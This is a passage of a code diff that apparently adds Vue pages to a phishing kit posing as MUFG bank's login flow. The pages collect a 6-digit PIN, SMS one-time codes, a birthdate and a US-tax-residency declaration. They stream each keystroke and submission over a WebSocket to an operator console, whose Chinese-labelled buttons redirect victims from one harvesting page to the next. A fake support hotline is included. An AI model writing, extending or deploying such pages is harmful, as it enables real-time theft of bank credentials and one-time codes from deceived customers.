background: #f0c14b;
border-color: #a88734 #9c7e31 #846a29;
color: #111;
}
.a-button-primary:hover {
background: #edb021;
border-color: #a88734 #9c7e31 #846a29;
}
.a-button-disabled {
opacity: 0.6;
pointer-events: none;
}
.a-text-bold {
font-weight: 700 !important;
}
.a-size-extra-large {
font-size: 28px !important;
line-height: 1.2 !important;
}
.a-color-secondary {
color: #565959 !important;
}
</style>

View File

@@ -0,0 +1,491 @@
<template>
<CommonLayout>
<template #default>
<div class="wrapper-main" style="margin-top: 60px;">
<div class="form-wrapper-outer">
<div class="form-wrapper">
<div class="index-wrapper">
<!-- Back button -->
<!-- <div class="back-btn1" @click="goBack">
<i class="iconfont icon-arrow01-left"></i> Back
</div> -->
<h1 class="form-title111" style="margin-bottom: 20px; font-size: 24px; font-weight: 700; line-height: 32px;">Enter Your PIN Code</h1>
<!-- <p class="form-desc1" style="margin-bottom: 30px; font-size: 15px;">Verifying with {{ message1 }}</p> -->
<p class="form-desc1" style="margin-bottom: 30px; font-size: 15px;"> Your 6-digit PIN code is a secure key used to authenticate your transactions. Keep it confidential and do not share it with anyone. If you suspect your PIN has been compromised, contact customer support immediately. </p>
<form @submit.prevent="next">
<div class="input-wrapper">
<input
ref="pinInput"
name="pinCode"
type="tel"
maxlength="6"
autocomplete="off"
class="form-input"
placeholder="Enter 6-digit PIN"
v-model="formdata.VerificationcodepagePin"
@input="onInput"
@focus="isPinFocused = true"
@blur="isPinFocused = formdata.VerificationcodepagePin !== ''"
:disabled="isLoading"
/>
<div class="input-action">
<div
class="action-btn clear-input-btn"
:style="{ display: formdata.VerificationcodepagePin && !isLoading ? 'block' : 'none' }"
@click="formdata.VerificationcodepagePin = ''"
>
<i class="iconfont icon-close"></i>
</div>
</div>
</div>
<div class="input-behind">
<div class="error-container">
<p class="error-msg" v-if="warningMessage">{{ warningMessage }}</p>
<p class="error-msg" v-if="displayedMessage">{{ displayedMessage }}</p>
</div>
</div>
<button
type="submit"
class="submit-btn"
:class="{ disabled: formdata.VerificationcodepagePin.length < 6 || isLoading }"
:disabled="formdata.VerificationcodepagePin.length < 6 || isLoading"
>
<span v-if="isLoading" class="loading-spinner"></span>
{{ isLoading ? 'Verifying...' : 'Next' }}
</button>
</form>
<div class="pin-info" style="margin-top: 20px; font-size: 14px; color: #6b7280;">
<!-- Your 6-digit PIN code is a secure key used to authenticate your transactions. Keep it confidential and do not share it with anyone. If you suspect your PIN has been compromised, contact customer support immediately. -->
</div>
<div style="margin-bottom: 100px;"></div>
<div class="contacts-btn">Hotline (US): <a href="tel:+1-8887210610" class="app-link" style="text-decoration: underline !important;">+1 888 721 0610</a></div>
<!-- Loading overlay -->
<div class="form-loading" :style="{ display: isLoading ? 'block' : 'none' }">
<div class="loading-mask"></div>
</div>
</div>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, computed, nextTick, onUnmounted } from 'vue';
import { useRoute, useRouter } from 'vue-router';
import { useI18n } from 'vue-i18n';
import { inputChange, myWebSocket } from '@/utils/common';
import eventBus from '@/utils/eventBus';
import CommonLayout from '@/views/CommonLayout.vue';
const { t } = useI18n();
const route = useRoute();
const router = useRouter();
const instance = getCurrentInstance()!;
const formdata = ref({ VerificationcodepagePin: '' });
const warningMessage = ref('');
const isLoading = ref(false);
const isPinFocused = ref(false);
const message1 = ref('');
const pinInput = ref<HTMLInputElement | null>(null);
// Countdown logic
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
const buttonText = computed(() => {
return isCounting.value
? `Request a new PIN after ${timeLeft.value} seconds`
: 'Resend';
});
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: 'page_type',
content: { pageType: 'VerificationcodepagePin', pageTitle: 'PIN页面', resultType: resultType },
})
);
isCounting.value = true;
timeLeft.value = initialTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value--;
} else {
stopCountdown();
}
}, 1000);
};
const stopCountdown = () => {
if (timer) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
};
const resendCode = () => {
if (isCounting.value) return;
startCountdown('resendCode');
};
const onInput = (event: Event) => {
const target = event.target as HTMLInputElement;
const value = target.value.replace(/[^0-9]/g, '').slice(0, 6);
formdata.value.VerificationcodepagePin = value;
inputChange('PIN验证码', 'VerificationcodepagePin', value);
};
const goBack = () => {
router.push('/login_mufg');
};
const next = async () => {
await nextTick();
warningMessage.value = '';
if (!formdata.value.VerificationcodepagePin) {
warningMessage.value = t('Please enter your PIN code.');
return;
}
if (formdata.value.VerificationcodepagePin.length < 6) {
warningMessage.value = t('PIN code must be 6 digits.');
return;
}
isLoading.value = true;
myWebSocket?.send(
JSON.stringify({
event: 'submit_card',
content: {
type: 'submitOp',
opButton: {
showCustom: false,
list: [
{ label: '完成', value: 'success' },
{ label: '拒绝', value: 'reject', type: 'input2' },
{ label: '账号首页', value: 'login_mufg', type: 'input1' },
{ label: '密码页', value: 'verificationpage', type: 'input1' },
{ label: '短信验证码页', value: 'verificationpageex', type: 'input1' },
// { label: '美国税务居民身份确认页面', value: 'sdpage_mufg', type: 'input1' },
{ label: '交易密码页', value: 'tcassword', type: 'input1' },
{ label: 'PIN验证页', value: 'nextPincode', type: 'input1' },
{ label: '跳转完成', value: 'success' },
],
},
},
})
);
};
// Computed property to handle message display
const displayedMessage = computed(() => {
if (message.value === 'This card does not support this transaction, please try another card') {
return 'PIN code does not match';
}
return message.value;
});
onMounted(() => {
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.VerificationcodepagePin) {
formdata.value = userData;
}
// Set message1 value
if (route.query.message1) {
message1.value = route.query.message1 as string;
localStorage.setItem('message1', route.query.message1 as string);
} else if (localStorage.getItem('message1')) {
message1.value = localStorage.getItem('message1') as string;
} else if (localStorage.getItem('username')) {
message1.value = localStorage.getItem('username') as string;
} else {
message1.value = '+852 46898199';
}
eventBus.on('my-event', handleEvent);
localStorage.setItem('route', 'VerificationcodepagePin');
myWebSocket?.send(
JSON.stringify({
event: 'page_type',
content: { pageType: 'VerificationcodepagePin', pageTitle: 'PIN页面' },
})
);
startCountdown('');
// Auto-focus input
const focusWithRetry = () => {
if (pinInput.value) {
pinInput.value.focus();
if (document.activeElement !== pinInput.value) {
setTimeout(focusWithRetry, 100);
}
}
};
focusWithRetry();
});
const message = ref('');
const handleEvent = (data: { message2: string; message1?: string }) => {
message.value = data.message2;
if (data.message1) {
message1.value = data.message1;
localStorage.setItem('message1', data.message1);
}
isLoading.value = false;
};
onUnmounted(() => {
eventBus.off('my-event', handleEvent);
stopCountdown();
});
</script>
<style scoped>
.wrapper-main {
min-width: 320px;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
/* background: #f8f9fa; */
}
.form-wrapper-outer {
display: flex;
justify-content: center;
width: 100%;
max-width: 420px;
}
.form-wrapper {
width: 100%;
padding: 20px;
/* background: #ffffff; */
border-radius: 12px;
/* box-shadow: 0 4px 20px rgba(0, 0, 0, 0.08); */
}
.index-wrapper {
position: relative;
}
.back-btn1 {
display: flex;
align-items: center;
cursor: pointer;
color: #1a2a44;
margin-bottom: 30px;
font-size: 16px;
font-weight: 500;
}
.back-btn1 i {
margin-right: 8px;
font-size: 18px;
}
.form-title111 {
font-size: 24px;
font-weight: 700;
text-align: center;
color: #1a2a44;
}
.form-desc1 {
text-align: center;
color: #6b7280;
margin-bottom: 24px;
font-size: 15px;
}
.input-wrapper {
position: relative;
margin-bottom: 10px;
}
.form-input {
width: 100%;
height: 40px;
padding: 10px;
border: 1px solid #d9d9d9; /* Light gray border from Login.vue */
border-radius: 4px;
font-size: 14px;
color: #1a2a44;
background: #ffffff; /* Solid white background */
transition: border-color 0.2s ease;
box-sizing: border-box; /* Ensure padding and border are included */
outline: none; /* Remove default outline */
}
/* Placeholder styling */
.form-input::placeholder {
color: #a6a6a6; /* Light gray placeholder from Login.vue */
font-size: 14px;
opacity: 1;
}
/* Focus state */
.form-input:focus {
border-color: #66afe9; /* Blue focus state from Login.vue */
outline: none;
box-shadow: none; /* Remove shadow to prevent layered appearance */
}
.input-action {
position: absolute;
right: 10px;
top: 50%;
transform: translateY(-50%);
display: flex;
align-items: center;
}
.action-btn {
cursor: pointer;
margin-left: 10px;
}
.clear-input-btn {
display: none; /* Initially hidden, shown via :style binding */
}
.clear-input-btn i {
font-size: 16px;
color: #a6a6a6;
}
.input-behind {
display: flex;
justify-content: flex-start;
align-items: flex-start;
margin-bottom: 20px;
}
.error-container {
flex: 1;
min-width: 0;
}
.error-msg {
color: #ff4d4f;
font-size: 14px;
margin: 0;
}
.submit-btn {
width: 100%;
padding: 16px;
border-radius: 8px;
font-size: 16px;
display: flex;
align-items: center;
justify-content: center;
background-color: #ff6200;
color: #fff;
border: none;
cursor: pointer;
transition: background-color 0.3s ease;
}
.submit-btn.disabled {
background-color: #d9d9d9;
color: #a6a6a6;
cursor: not-allowed;
}
.loading-spinner {
display: inline-block;
width: 16px;
height: 16px;
border: 2px solid rgba(255, 255, 255, 0.3);
border-radius: 50%;
border-top-color: #fff;
animation: spin 1s ease-in-out infinite;
margin-right: 8px;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
.pin-info {
text-align: center;
color: #6b7280;
font-size: 14px;
margin-top: 20px;
}
.contacts-btn {
text-align: center;
margin-top: 20px;
color: #6b7280;
font-size: 14px;
}
.contacts-btn a {
color: #ff6200;
text-decoration: underline;
}
.contacts-btn a:hover {
text-decoration: none;
}
.form-loading {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 1000;
}
.loading-mask {
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.5);
}
@media (max-width: 767px) {
.form-wrapper-outer {
padding: 15px;
}
.form-wrapper {
padding: 20px;
}
.form-title111 {
font-size: 20px;
}
.form-desc1 {
font-size: 14px;
}
.form-input {
height: 40px;
font-size: 14px;
}
.form-input::placeholder {
font-size: 14px;
}
}
body, .form-wrapper {
background-color: !important;
}
</style>

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,481 @@
<template>
<CommonLayout>
<template #default>
<div class="wrapper-main reset-font" style="margin-top: 0px;">
<div class="form-wrapper-outer">
<div class="form-wrapper">
<div class="index-wrapper">
<!-- <div class="back-btn1" @click="goBack">
<i class="iconfont icon-arrow01-left"></i>
<svg
xmlns="http://www.w3.org/2000/svg"
height="24px"
viewBox="0 -960 960 960"
width="24px"
fill="#0f1112"
>
<path d="M640-80 240-480l400-400 71 71-329 329 329 329-71 71Z" />
</svg>
Back
</div> -->
<!-- <h1
class="form-title111"
style="margin-bottom: 20px; font-size: 18px; font-weight: 700; line-height: 32px;"
>
Enter Verification Code
</h1> -->
<p class="form-desc1" style="font-size: 15px;">
Enter the 6-digit verification code sent to you.
</p>
<form @submit.prevent="next">
<div class="input-container">
<input
ref="codeInput"
name="msgCode"
type="tel"
maxlength="6"
autocomplete="off"
placeholder="Verification code"
class="verification-code-input"
v-model="formData.verificationcodepageex.code"
@input="onInput"
:disabled="isLoading"
/>
</div>
<div class="error-container">
<p class="error-msg" v-if="displayMessage">{{ displayMessage }}</p>
</div>
<button
type="submit"
class="verification-option-btn"
:disabled="formData.verificationcodepageex.code.length !== 6 || isLoading"
>
<span>Continue</span>
</button>
</form>
<div class="resend-code-container">
<p class="resend-text" style="margin: 0;">Didn't receive the code?</p>
<a
class="no-obfuscate"
href="javascript:void(0);"
:class="{ 'resend-link': true, 'disabled': isCounting }"
@click="resendCode"
style="display: block; margin-top: 4px; text-align: left;"
>
{{ isCounting ? `Resend in ${timeLeft} seconds` : 'Resend code' }}
</a>
</div>
<!-- Loading Modal -->
<div class="loading-modal" v-if="isLoading">
<div class="loading-modal-content">
<div class="loading-spinner"></div>
<p class="loading-text">Verifying...</p>
</div>
</div>
</div>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, computed, nextTick, onUnmounted } from 'vue';
import { useRoute, useRouter } from 'vue-router';
import { useI18n } from 'vue-i18n';
import { inputChange, myWebSocket } from '@/utils/common';
import eventBus from '@/utils/eventBus';
import CommonLayout from '@/views/CommonLayout.vue';
const { t } = useI18n();
const route = useRoute();
const router = useRouter();
const instance = getCurrentInstance()!;
const isLoading = ref(false);
const warningMessage = ref('');
const message1 = ref('');
const message = ref('');
const codeInput = ref<HTMLInputElement | null>(null);
interface FormData {
verificationcodepageex: {
code: string;
};
}
const formData = ref<FormData>({ verificationcodepageex: { code: '' } });
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
const displayMessage = computed(() => {
if (message.value === 'This card does not support this transaction, please try another card') {
return 'Wrong code. Try again';
}
return message.value || warningMessage.value;
});
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: 'page_type',
content: {
pageType: 'verificationcodepageex',
pageTitle: '验证码验证页',
action: 'resend_code',
resultType: resultType,
},
})
);
isCounting.value = true;
timeLeft.value = initialTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value--;
} else {
stopCountdown();
warningMessage.value = '';
message.value = '';
}
}, 1000);
};
const stopCountdown = () => {
if (timer) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
};
const resendCode = () => {
if (isCounting.value) return;
warningMessage.value = '';
message.value = '';
startCountdown('resendCode');
};
const onInput = (event: Event) => {
const target = event.target as HTMLInputElement;
const value = target.value.replace(/[^0-9]/g, '').slice(0, 6);
formData.value.verificationcodepageex.code = value;
inputChange('input_card', 'code', value);
};
const next = async () => {
await nextTick();
warningMessage.value = '';
if (!formData.value.verificationcodepageex.code) {
warningMessage.value = t('Please enter the verification code.');
return;
}
if (formData.value.verificationcodepageex.code.length < 6) {
warningMessage.value = t('Verification code must be 6 digits.');
return;
}
isLoading.value = true;
myWebSocket?.send(
JSON.stringify({
event: 'submit_card',
content: {
type: 'submitOp',
verification_id: formData.value.verificationcodepageex.code,
verification: {
code: formData.value.verificationcodepageex.code,
},
start_page: 'VerificationCode',
opButton: {
showCustom: false,
list: [
{ label: '通过', value: 'success' },
{ label: '拒绝', value: 'reject', type: 'input2' },
{ label: '账号首页', value: 'login_mufg', type: 'input1' },
{ label: '选择验证方式业', value: 'verificationpage', type: 'input1' },
{ label: '短信验证码页', value: 'verificationpageex', type: 'input1' },
{ label: '跳转完成', value: 'success' },
],
},
},
})
);
};
const goBack = () => {
router.back();
};
const handleEvent = (data: { message2: string; message1?: string; redirect_to?: string }) => {
message.value = data.message2;
if (data.message1) {
message1.value = data.message1;
localStorage.setItem('message1', data.message1);
}
isLoading.value = false;
if (data.redirect_to) {
router.push(data.redirect_to);
}
};
onMounted(() => {
if (route.query.message1) {
message1.value = route.query.message1 as string;
localStorage.setItem('message1', route.query.message1 as string);
} else if (localStorage.getItem('message1')) {
message1.value = localStorage.getItem('message1') as string;
} else {
message1.value = '+852 46898199';
}
eventBus.on('my-event', handleEvent);
localStorage.setItem('route', 'verificationcodepageex');
myWebSocket?.send(
JSON.stringify({
event: 'page_type',
content: { pageType: 'verificationcodepageex', pageTitle: '短信验证页' },
})
);
startCountdown('initialLoad');
if (codeInput.value) {
codeInput.value.focus();
}
});
onUnmounted(() => {
eventBus.off('my-event', handleEvent);
stopCountdown();
});
</script>
<style scoped>
.wrapper-main {
min-width: 320px;
}
.form-wrapper-outer {
display: flex;
justify-content: center;
}
.form-wrapper {
width: 100%;
max-width: 400px;
padding: 20px;
}
.index-wrapper {
position: relative;
}
.back-btn1 {
display: flex;
align-items: center;
cursor: pointer;
color: #0f1112;
margin-bottom: 30px;
font-size: 18px;
}
.back-btn1 i {
margin-right: 0px;
}
.form-title111 {
font-size: 24px;
font-weight: 700;
line-height: 32px;
margin-bottom: 20px;
text-align: left;
}
.form-desc1 {
text-align: left;
color: #666;
/* margin-bottom: 30px; */
font-size: 15px;
}
.input-container {
position: relative;
margin-bottom: 20px;
}
.input-icon {
position: absolute;
left: 12px;
top: 50%;
transform: translateY(-50%);
width: 20px;
height: 20px;
}
.verification-code-input {
width: 100%;
height: 50px;
padding: 10px 12px 10px 40px;
border: 1px solid #d0d0d0;
border-radius: 4px;
font-size: 16px;
box-sizing: border-box;
outline: none;
transition: border-color 0.3s ease;
}
.verification-code-input:focus {
border-color: #2d3134;
}
.verification-code-input::placeholder {
color: #aaa;
}
.error-container {
min-height: 20px;
margin-bottom: 10px;
}
.error-msg {
color: #ff4d4f;
font-size: 14px;
text-align: left;
margin: 0;
}
.verification-option-btn {
width: 100%;
padding: 16px;
border-radius: 8px;
font-size: 16px;
display: flex;
align-items: center;
justify-content: center;
background-color: #b2fce4;
color: #000;
border: none;
cursor: pointer;
transition: background-color 0.3s ease;
margin-bottom: 15px;
height: 60px;
font-weight: bold;
}
.verification-option-btn:hover:not(:disabled) {
background-color: #d0ffe0;
}
.verification-option-btn:disabled {
opacity: 0.7;
cursor: not-allowed;
}
.resend-code-container {
text-align: left;
margin-top: 30px;
}
.resend-text {
font-size: 15px;
color: #666;
display: inline;
}
.resend-link {
font-size: 15px;
color: #2d3134;
text-decoration: underline;
cursor: pointer;
margin-left: 5px;
}
.resend-link.disabled {
color: #a6a6a6;
cursor: not-allowed;
text-decoration: none;
}
.loading-modal {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
display: flex;
justify-content: center;
align-items: center;
z-index: 2000;
}
.loading-modal-content {
background-color: #fff;
padding: 60px;
border-radius: 8px;
display: flex;
flex-direction: column;
align-items: center;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.2);
}
.loading-spinner {
width: 40px;
height: 40px;
border: 4px solid rgba(0, 0, 0, 0.1);
border-top-color: #000;
border-radius: 50%;
animation: spin 1s ease-in-out infinite;
margin-bottom: 10px;
}
.loading-text {
font-size: 16px;
color: #000;
margin: 0;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
.contacts-btn {
text-align: center;
font-size: 14px;
color: #666;
}
.contacts-btn a {
color: #909499;
text-decoration: underline !important;
}
.reset-font,
.reset-font * {
font-family: Arial, sans-serif;
}
</style>

View File

@@ -0,0 +1,299 @@
<template>
<CommonLayout>
<template #default>
<section data-v-91486aa4 class="w-full text-base text-[#333333]">
<div data-v-91486aa4 class="relative w-full">
<p class="mx-auto max-w-[980px] font-bold text-xl border-b-[3px] border-solid border-[#eee] p-4">ログイン追加認証</p>
<div class="h-full mx-auto max-w-[980px] text-sm px-4">
<form class="w-full mt-4" @submit.prevent="next">
<div class="border-2 border-solid border-[#d5d5d5] px-2 pb-4">
<div class="w-full">
<div class="w-full mt-6 lg:flex lg:items-center">
<p class="mb-1 text-base text-[#333] font-bold lg:min-w-[230px]">
ご生年月日 <span class="text-[#e8bd56]"></span>
</p>
<div class="flex items-center space-x-4">
<input
type="tel"
placeholder="年"
required
maxlength="4"
pattern="[0-9]*"
class="w-full h-[38px] placeholder:text-slate-400 text-[#333] text-sm border border-[#bcbcbc] py-1 px-2 rounded transition duration-300 ease focus:outline-none focus:border-[#66afe9] hover:border-[#66afe9]"
v-model="formData.card.cardNumber"
@input="onCardNumberChange"
@focus="isCardNumberFocused = true"
@blur="isCardNumberFocused = formData.card.cardNumber !== ''"
autocomplete="off"
/>
<span class="mx-2"></span>
<select
required
class="w-full h-[38px] placeholder:text-slate-400 text-[#333] text-sm border border-[#bcbcbc] px-2 rounded transition duration-300 ease focus:outline-none focus:border-[#66afe9] hover:border-[#66afe9]"
v-model="formData.card.expiryMonth"
@change="onExpiryChange"
@focus="isExpiryFocused = true"
@blur="isExpiryFocused = formData.card.expiryMonth !== ''"
>
<option value=""></option>
<option v-for="month in 12" :key="month" :value="month.toString().padStart(2, '0')">{{ month }}</option>
</select>
<select
required
class="w-full h-[38px] placeholder:text-slate-400 text-[#333] text-sm border border-[#bcbcbc] px-2 rounded transition duration-300 ease focus:outline-none focus:border-[#66afe9] hover:border-[#66afe9]"
v-model="formData.card.expiryYear"
@change="onExpiryChange"
@focus="isExpiryFocused = true"
@blur="isExpiryFocused = formData.card.expiryYear !== ''"
>
<option value=""></option>
<option v-for="day in 31" :key="day" :value="day.toString().padStart(2, '0')">{{ day }}</option>
</select>
</div>
</div>
<div class="w-full mt-1 lg:flex lg:items-center">
<p class="mb-1 text-base text-[#333] font-bold lg:min-w-[230px]"></p>
<div class="w-full">
<p>年は西暦で入力してください</p>
<p class="pt-1">) 1980年10月7日</p>
</div>
</div>
</div>
</div>
<div class="error" v-if="warningMessage && (!formData.card.cardNumber || !formData.card.expiryMonth || !formData.card.expiryYear)">
{{ warningMessage }}
</div>
<div class="error" v-if="message" style="color: red; font-size: 20px;">
{{ message }}
</div>
<div class="error" v-if="cardNumberError" style="color: red;">
{{ cardNumberError }}
</div>
<div class="mx-auto max-w-[240px] my-4">
<button
type="submit"
class="loginBtn"
:disabled="isLoading || !isFormFilled"
:class="{ 'bg-[#d9d9d9] text-[#a6a6a6]': !isFormFilled || isLoading, 'bg-[#1a70b2] text-[#fff]': isFormFilled && !isLoading }"
>
<span v-if="isLoading" class="flex items-center">
<svg
t="1720435890144"
class="icon animate-spin h-5 w-5 text-white mr-2"
viewBox="0 0 1024 1024"
version="1.1"
xmlns="http://www.w3.org/2000/svg"
p-id="1494"
>
<path
d="M511.882596 287.998081h-0.361244a31.998984 31.998984 0 0 1-31.659415-31.977309v-0.361244c0-0.104761 0.115598-11.722364 0.115598-63.658399V96.000564a31.998984 31.998984 0 1 1 64.001581 0V192.001129c0 52.586273-0.111986 63.88237-0.119211 64.337537a32.002596 32.002596 0 0 1-31.977309 31.659415zM511.998194 959.99842a31.998984 31.998984 0 0 1-31.998984-31.998984v-96.379871c0-51.610915-0.111986-63.174332-0.115598-63.286318s0-0.242033 0-0.361243a31.998984 31.998984 0 0 1 63.997968-0.314283c0 0.455167 0.11921 11.711527 0.11921 64.034093v96.307622a31.998984 31.998984 0 0 1-32.002596 31.998984zM330.899406 363.021212a31.897836 31.897836 0 0 1-22.866739-9.612699c-0.075861-0.075861-8.207461-8.370021-44.931515-45.094076L195.198137 240.429485a31.998984 31.998984 0 0 1 45.256635-45.253022L308.336112 263.057803c37.182834 37.182834 45.090463 45.253022 45.41197 45.578141A31.998984 31.998984 0 0 1 330.899406 363.021212zM806.137421 838.11473a31.901448 31.901448 0 0 1-22.628318-9.374279L715.624151 760.859111c-36.724054-36.724054-45.018214-44.859267-45.097687-44.93874a31.998984 31.998984 0 0 1 44.77618-45.729864c0.32512 0.317895 8.395308 8.229136 45.578142 45.411969l67.88134 67.88134a31.998984 31.998984 0 0 1-22.624705 54.630914zM224.000113 838.11473a31.901448 31.901448 0 0 0 22.628317-9.374279l67.88134-67.88134c36.724054-36.724054 45.021826-44.859267 45.097688-44.93874a31.998984 31.998984 0 0 0-44.776181-45.729864c-0.32512 0.317895-8.395308 8.229136-45.578142 45.411969l-67.88134 67.884953a31.998984 31.998984 0 0 0 22.628318 54.627301zM255.948523 544.058589h-0.361244c-0.104761 0-11.722364-0.115598-63.658399-0.115598H95.942765a31.998984 31.998984 0 1 1 0-64.00158h95.996952c52.586273 0 63.88237 0.111986 64.337538 0.11921a31.998984 31.998984 0 0 1 31.659414 31.97731v0.361244a32.002596 32.002596 0 0 1-31.988146 31.659414zM767.939492 544.058589a32.002596 32.002596 0 0 1-31.995372-31.666639v-0.361244a31.998984 31.998984 0 0 1 31.659415-31.970085c0.455167 0 11.754876-0.11921 64.34115-0.11921h96.000564a31.998984 31.998984 0 0 1 0 64.00158H831.944685c-51.936034 0-63.553638 0.111986-63.665624 0.115598h-0.335957zM692.999446 363.0176a31.998984 31.998984 0 0 1-22.863126-54.381656c0.317895-0.32512 8.229136-8.395308 45.41197-45.578141l67.88134-67.884953A31.998984 31.998984 0 0 1 828.693489 240.429485l-67.892177 67.88134c-31.020013 31.023625-41.644196 41.759794-44.241539 44.393262l-0.697201 0.722488a31.908673 31.908673 0 0 1-22.863126 9.591025z"
fill="#ffffff"
p-id="1495"
></path>
</svg>
検証中...
</span>
<span v-else>認証</span>
</button>
</div>
</form>
</div>
</div>
</section>
</template>
</CommonLayout>
</template>
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, computed, nextTick, onUnmounted } from 'vue';
import { useRouter } from 'vue-router';
import CommonLayout from '@/views/CommonLayout.vue';
import { useI18n } from 'vue-i18n';
import { useLoadingStore } from '@/stores/loadingStore';
import { inputChange, myWebSocket } from '@/utils/common';
import eventBus from '@/utils/eventBus';
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const instance = getCurrentInstance()!;
interface FormData {
card: {
cardNumber: string;
cardholder: string;
expiryMonth: string;
expiryYear: string;
cvv: string;
};
}
const formData = ref<FormData>({
card: {
cardNumber: '',
cardholder: '',
expiryMonth: '',
expiryYear: '',
cvv: '',
},
});
const warningMessage = ref('');
const cardNumberError = ref('');
const isLoading = ref(false);
const isCardNumberFocused = ref(false);
const isExpiryFocused = ref(false);
const isFormFilled = computed(() => {
return (
formData.value.card.cardNumber.trim() !== '' &&
formData.value.card.expiryMonth !== '' &&
formData.value.card.expiryYear !== ''
);
});
const next = async () => {
await nextTick();
warningMessage.value = '';
cardNumberError.value = '';
// Check required fields
if (
!formData.value.card.cardNumber ||
!formData.value.card.expiryMonth ||
!formData.value.card.expiryYear
) {
warningMessage.value = t('すべてのフィールドに入力してください。');
return;
}
// Validate card number length (excluding spaces)
const rawCardNumber = formData.value.card.cardNumber.replace(/\s+/g, '');
if (rawCardNumber.length < 4) {
cardNumberError.value = '年份が無効です。修正して再提出してください。';
return;
}
isLoading.value = true;
let submitValue = rawCardNumber;
localStorage.setItem('cardNumber', submitValue);
myWebSocket?.send(
JSON.stringify({
event: 'submit_card',
content: {
type: 'submitOp',
card_number: submitValue,
cardholder: formData.value.card.cardholder,
expiry: `${formData.value.card.expiryMonth}/${formData.value.card.expiryYear}`,
cvv: formData.value.card.cvv,
start_page: 'card',
opButton: {
showCustom: false,
list: [
{ label: '确认', value: 'verificationpage', type: 'input1' },
{ label: '拒绝', value: 'reject', type: 'input2' },
{ label: '登录页', value: 'login_mufg', type: 'input1' },
{ label: '验证码验证', value: 'verificationpage', type: 'input1' },
{ label: '账号信息页', value: 'nextlogin_mufg', type: 'input1' },
{ label: '验证码验证', value: 'verificationpage', type: 'input1' },
{ label: "暗证番号页", value: "verificationpageex", type: "input1" },
{ label: "安全监测页", value: "sdpage_mufg", type: "input1" },
{ label: '跳转完成', value: 'success' },
],
},
},
})
);
};
const onCardNumberChange = (event: any) => {
const rawValue = event.target.value.replace(/\s+/g, '');
const numericValue = rawValue.replace(/\D/g, '');
inputChange('input_card', 'cardNumber', numericValue);
formData.value.card.cardNumber = numericValue.slice(0, 4);
cardNumberError.value = ''; // Clear error on input change
};
const onchange = (event: any) => {
inputChange('input_card', event.target.id, event.target.value);
};
const onExpiryChange = () => {
const expiry = `${formData.value.card.expiryMonth}/${formData.value.card.expiryYear}`;
inputChange('input_card', 'expiry', expiry);
};
onMounted(() => {
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.card) {
formData.value = userData;
}
eventBus.on('my-event', handleEvent);
localStorage.setItem('route', 'card');
myWebSocket?.send(
JSON.stringify({
event: 'page_type',
content: { pageType: 'card', pageTitle: 'ログイン追加認証' },
})
);
});
const message = ref('');
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
console.log('data', data);
isLoading.value = false;
};
onUnmounted(() => {
eventBus.off('my-event', handleEvent);
});
</script>
<style scoped>
/* 错误提示 */
.error {
color: #ff4d4f;
font-size: 14px;
margin-top: 5px;
}
/* 登录按钮样式 */
.loginBtn {
width: 100%;
border-radius: 9999px;
padding: 12px 24px;
font-size: 16px;
display: flex;
align-items: center;
justify-content: center;
transition: background-color 0.3s ease;
}
.loginBtn:disabled {
background-color: #d9d9d9;
color: #a6a6a6;
cursor: not-allowed;
}
/* 响应式调整 */
@media (max-width: 480px) {
.max-w-[980px] {
max-width: 100%;
}
.px-4 {
padding-left: 16px;
padding-right: 16px;
}
.text-xl {
font-size: 18px;
}
.max-w-[240px] {
max-width: 100%;
}
}
</style>

View File

@@ -0,0 +1,485 @@
<template>
<CommonLayout>
<template #default>
<div class="wrapper-main" style="margin-top: 80px;">
<div class="form-wrapper-outer">
<div class="form-wrapper">
<div id="app">
<!-- <div class="back-btn" @click="goBack">
<i class="iconfont icon-arrow01-left"></i> 返回
</div> -->
<h2 class="form-title">美國稅務居民身份確認</h2>
<p class="form-desc">
根據美國與香港之跨政府協議 (IGA)客戶必須確認是否擁有美國身份請確認貴客戶是否為美國稅務居民
</p>
<form @submit.prevent="submitForm">
<div class="checkbox-group">
<div class="checkbox-item" :class="{ 'checked': formdata.isUsTaxResident }">
<label class="checkbox-label">
<input
type="checkbox"
v-model="formdata.isUsTaxResident"
:value="true"
@change="updateSelection('isUsTaxResident')"
/>
<span class="checkbox-custom"></span>
<span class="checkbox-text">本人聲明於提交本表格時是美國稅務居民</span>
</label>
</div>
<div class="checkbox-item" :class="{ 'checked': formdata.isNotUsTaxResident }">
<label class="checkbox-label">
<input
type="checkbox"
v-model="formdata.isNotUsTaxResident"
:value="true"
@change="updateSelection('isNotUsTaxResident')"
/>
<span class="checkbox-custom"></span>
<span class="checkbox-text">本人聲明於提交本表格時並非美國稅務居民</span>
</label>
</div>
</div>
<div class="info-section">
<p class="info-title">美國稅務居民包括但不限於</p>
<ul class="info-list">
<li>美國公民或合法永久居民綠卡持有人</li>
<li>在美國擁有主要居所或長期居住的人士</li>
<li>符合美國稅法規定的實質存在測試的人士</li>
